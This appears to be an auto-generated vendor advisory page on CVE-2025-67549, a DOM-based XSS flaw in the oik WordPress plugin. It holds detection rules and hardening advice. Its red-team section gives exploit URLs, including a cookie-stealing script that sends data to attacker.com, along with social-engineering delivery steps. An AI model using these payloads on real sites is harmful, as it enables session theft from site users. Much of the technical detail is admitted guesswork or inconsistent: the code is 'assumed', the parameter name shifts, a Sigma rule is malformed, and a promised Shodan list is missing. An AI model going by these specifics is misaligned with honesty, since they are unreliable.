CVE-2025-67549
Executive Summary
CVE-2025-67549 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin oik by Bobbingwide, affecting versions through 4.15.3. This vulnerability allows an attacker to inject malicious scripts into a web page through improper neutralization of user input during page generation. The attack is executed entirely on the client side (DOM manipulation), bypassing server-side filters. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for limited impact on confidentiality and integrity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The oik plugin is distributed via the official WordPress plugin repository and can be installed automatically by site administrators. Since the patch status is UNKNOWN, users are advised to disable the plugin until an official update is released. The lack of a patch increases supply chain risk, as compromised sites can be used to distribute malware or steal session tokens.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the widespread use of WordPress.
Deep Dive & Mechanics
The vulnerability resides in the oik plugin’s handling of user-supplied data within the DOM. Specifically, the plugin fails to sanitize input that is later used to dynamically generate JavaScript or HTML content on the client side. An attacker can craft a URL with a malicious payload in a query parameter (e.g., ?oik_xss=<script>alert(1)</script>). When the victim visits this URL, the plugin’s JavaScript code reads the parameter and injects it into the DOM without proper encoding, leading to script execution.
Root Cause: The plugin uses document.location or URLSearchParams to read parameters and then directly assigns them to innerHTML or document.write without escaping.
Attack Flow:
- Attacker crafts a malicious link:
https://victim-site.com/?oik_cmd=<img src=x onerror=alert(1)> - Victim clicks the link.
- The oik plugin’s JavaScript reads the
oik_cmdparameter. - The value is inserted into the DOM via
innerHTML. - The browser executes the injected script.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be present in all versions <= 4.15.3.
Vulnerable Code (JavaScript snippet):
// oik.js (vulnerable)
var cmd = new URLSearchParams(window.location.search).get('oik_cmd');
if (cmd) {
document.getElementById('oik-output').innerHTML = cmd;
}
Patched Code (hypothetical):
// oik.js (patched)
var cmd = new URLSearchParams(window.location.search).get('oik_cmd');
if (cmd) {
var safe = document.createTextNode(cmd);
document.getElementById('oik-output').appendChild(safe);
}
The patched version uses createTextNode to safely encode the input, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with oik plugin version <= 4.15.3.
- Ability to craft a malicious URL.
Exploit Payload:
https://victim-site.com/?oik_cmd=<img src=x onerror=alert(document.cookie)>
Steps:
- Send the crafted URL to the victim via email or social engineering.
- When the victim clicks the link, the script executes in their browser.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Advanced Payload (session hijacking):
https://victim-site.com/?oik_cmd=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
oik_cmd=with suspicious characters (e.g.,<,>,script). - Use a Web Application Firewall (WAF) to block requests with XSS patterns in query parameters.
Hardening:
- Disable the oik plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use input validation on the server side to reject malicious payloads.
Indicators of Compromise (IOCs)
- URL Patterns:
?oik_cmd=<script>,?oik_cmd=<img,?oik_cmd=javascript: - Network Traffic: Outbound requests to attacker-controlled domains from the victim’s browser.
- Log Entries:
GET /?oik_cmd=%3Cscript%3Ein Apache/Nginx access logs. - File Hashes: (None available – plugin files are standard WordPress plugin files.)
Detection Engineering
YARA Rule
rule CVE_2025_67549_oik_XSS {
meta:
description = "Detects malicious oik_cmd parameter in URLs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67549"
strings:
$xss1 = "oik_cmd="
$xss2 = "<script"
$xss3 = "<img"
$xss4 = "onerror="
$xss5 = "javascript:"
condition:
any of ($xss*) and #xss1 > 0
}
Sigma Rule
title: CVE-2025-67549 oik DOM XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious oik_cmd parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: 'oik_cmd='
cs-uri-query|contains|any:
- '<script'
- '<img'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of oik plugin with safe parameters
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67549 oik DOM XSS Attempt"; flow:to_server; content:"oik_cmd="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the oik plugin on all WordPress sites until an official patch is released.
- Implement a WAF rule to block requests containing
oik_cmd=with HTML/JavaScript characters. - Add CSP headers to prevent inline script execution:
Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
Long-Term Fix:
- Monitor the official oik plugin repository for a patched version.
- Apply the patch as soon as it becomes available.
- Conduct a security audit of all WordPress plugins for similar DOM-based XSS vulnerabilities.
Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.